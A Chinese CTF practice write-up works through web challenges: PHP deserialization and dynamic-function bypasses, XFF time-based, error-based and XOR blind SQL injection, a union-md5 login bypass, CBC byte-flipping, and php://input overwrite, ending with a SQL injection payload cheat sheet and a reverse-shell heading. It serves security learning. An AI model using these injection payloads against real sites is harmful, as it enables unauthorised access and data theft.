前言
打比赛的时候一个变量覆盖看了半天,还是队里师傅提醒用php://input,发现自己基础很弱,于是把基础平台的Web刷了一遍,记录下一些有价值的题目。
Object
考察点:PHP反序列化、一些小trick
源码:
1 |
|
思路非常清晰:fl绕过正则、ag传序列化对象并绕过正则;重写$this->cmd执行命令。
但是这里面有几个需要注意的地方:
- ag正则的递归匹配
- eval()的字符拼接
- echo unserialize()报错问题
ag的递归匹配限制了我们传进去的函数不能有参数,当然,能够函数套函数;eval(‘$a=”…you_payload…”;’)
需要我们构造语句进行拼接;像echo unserialize($_GET[‘a’])这种反序列化一般都是调用__toString()
方法的,用__destruct()的话在本地会报错,我在本地删掉echo或者用 __toString()方法都能正常执行命令,但是题目环境就不行。。另外这里感谢@南溟师傅的指点hhh。
payload:?fl=php(&ag=O:4:"flag":1:{s:3:"cmd";s:57:"print_r";$a(file_get_contents(getcwd()."/flag.php"));$b="";"}
PS:这里由于不能给函数传参,从手册中查了一个获取当前目录的getcwd()函数,然后拼接出flag.php的绝对路径。
Dynamic
考察点:PHP动态函数执行
源码:
1 |
|
注意到可以命令执行,但是有黑名单,黑名单绕过姿势很多,关键是$blacklist = array_merge($blacklist, get_defined_functions()['internal']);
这句,把内置函数都给加进黑名单了。。。
正好最近P神在Kcon
上演讲的内容就是php的动态特性
,之前也看到过他写的类似文章,这里直接写payload:
payload:?cmd=$a='php'.'info';$a();
INSERT INTO注入
考察点:时间注入脚本编写
源码:
1 | error_reporting(0); |
发现是XFF注入,另外过滤了”,”。
由于输入什么都没有回显,这里尝试时间盲注,发现可行;逗号过滤用from for
代替,直接上脚本。
脚本:
1 | # -- coding: utf-8 -- |
PS:盲注时先手工判断语句与回显再编写脚本。
这是一个神奇的登陆框
考察点:报错注入
先在admin_user测试,发现双引号时admin_passwd报错,于是在admin_passwd处利用报错注入:
比较实用的几种报错注入方法:
1 | ?id=1' and updatexml(1,concat('~',(your_payload),'~'),3) --+ |
1 | ?id=1' and exp(~(select * from (your_payload) a) ); --+ |
1 | ?id=1' and (select 1 from (select count(*),concat(((your_payload)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ |
注意:超过一行时用 payload LIMIT 0,1
逐个查询
payload:admin_name=admin
&admin_passwd=123456" and updatexml(1,concat('~',(select database()),'~'),3) #
PS:以上三条都能打
PHP_encrypt_1
加密脚本:
1 |
|
意思就是生成与明文长度相等的密钥流,然后对应位加密。
解密脚本:
1 |
|
PS:题目给出了密文
login2(SKCTF)
考察点:union_md5()、命令执行反弹shell
在响应头中发现Hint:
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
构造语句:submit=Login&username=admin' union select 1,md5(1)#&password=1
然后进入命令执行页面,输入反弹shell语句:
1 | VPS: |
login3(SKCTF)
考察点:各种过滤、异或盲注
人工fuzz,发现过滤了空格、逗号、and、or、–+、union。
空格被过滤
1 | /**/ |
这里发现可以用括号,另外需要注意or被过滤,这表示information_schema已经不能用了,最重要的是我们不能用 substr(“payload” from for)来截取字符串了。
这里我们需要用到ascii()
函数的一个特性:ascii()
在处理字符串时会返回第一个字符的ascii码,这样我们就能fuzz出每一个字符。
在编写脚本前先观察页面回显:
1 | username=admin'^(0)^1# |
1 | username=admin'^(1)^1# |
观察发现语句为假返回password error!
,语句为真时返回username does not exist!
脚本:
1 | # -- coding: utf-8 -- |
login4(SKCTF)
考察点:CBC字节翻转攻击_脚本编写
之前一直以为很难懂,原来只是分组密码里的密文链接模式2333。
CBC加解密流程
加密的步骤简单来说,首先把明文分组(通常16字节一组),然后与上一组的密文异或,再用密钥加密输出即可。
这里注意第一组用初始向量异或。
对应的解密步骤,把密文分组,先用密钥解密,再与上一组密文异或得到明文。
CBC字节翻转攻击
这类题目一般初始向量IV和加密的密文可控,然后题目实现一个加密和解密的过程,要求解密后的明文有指定的内容。(当然一开始是没有的)
源码:
1 |
|
这里要求username为admin,但是又不能输入admin,这里就可以利用CBC字节翻转攻击。
脚本:
1 | # -- coding: utf-8 -- |
不多解释了,脚本写得很清楚。
先获取zdmin加密后的密文和初始向量IV:
利用脚本获取new_cipher使其解密后zdmin变为admin:
填入new_cipher,获取返回的因为第一组被破坏而无法反序列化的明文:
利用脚本获取new_iv,使被修改的第一组密文正常解密:
向cookie中添加new_iv和new_cipher获取flag。
php://input
考察点:变量覆盖
这里我老是忘记,$b = file_get_contents($_GET[‘a’]),当a=php://input,然后post传1,$b就会等于1。
常用payload
联合查询
1 | 查库名---(select group_concat(schema_name) from information_schema.schemata) |
报错注入
1 | ?id=1' and updatexml(1,concat('~',(your_payload),'~'),3) --+ |
1 | ?id=1' and exp(~(select * from (your_payload) a) ); --+ |
1 | ?id=1' and (select 1 from (select count(*),concat(((your_payload)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ |
注意:超过一行时用 payload LIMIT 0,1
逐个查询
盲注
时间盲注
1 | 1' and case when substring((select flag from flag) from %d for 1)='%s' then sleep(5) else 1 end and '1'='1 |
布尔盲注
1 | admin'^(1)^1# |
其他注入
union_md5()
1 | username=admin' union select 1,ma5(1) %23&password=1 |
反弹shelll
1 | VPS: |
小结
比赛总是自闭,继续加油吧= =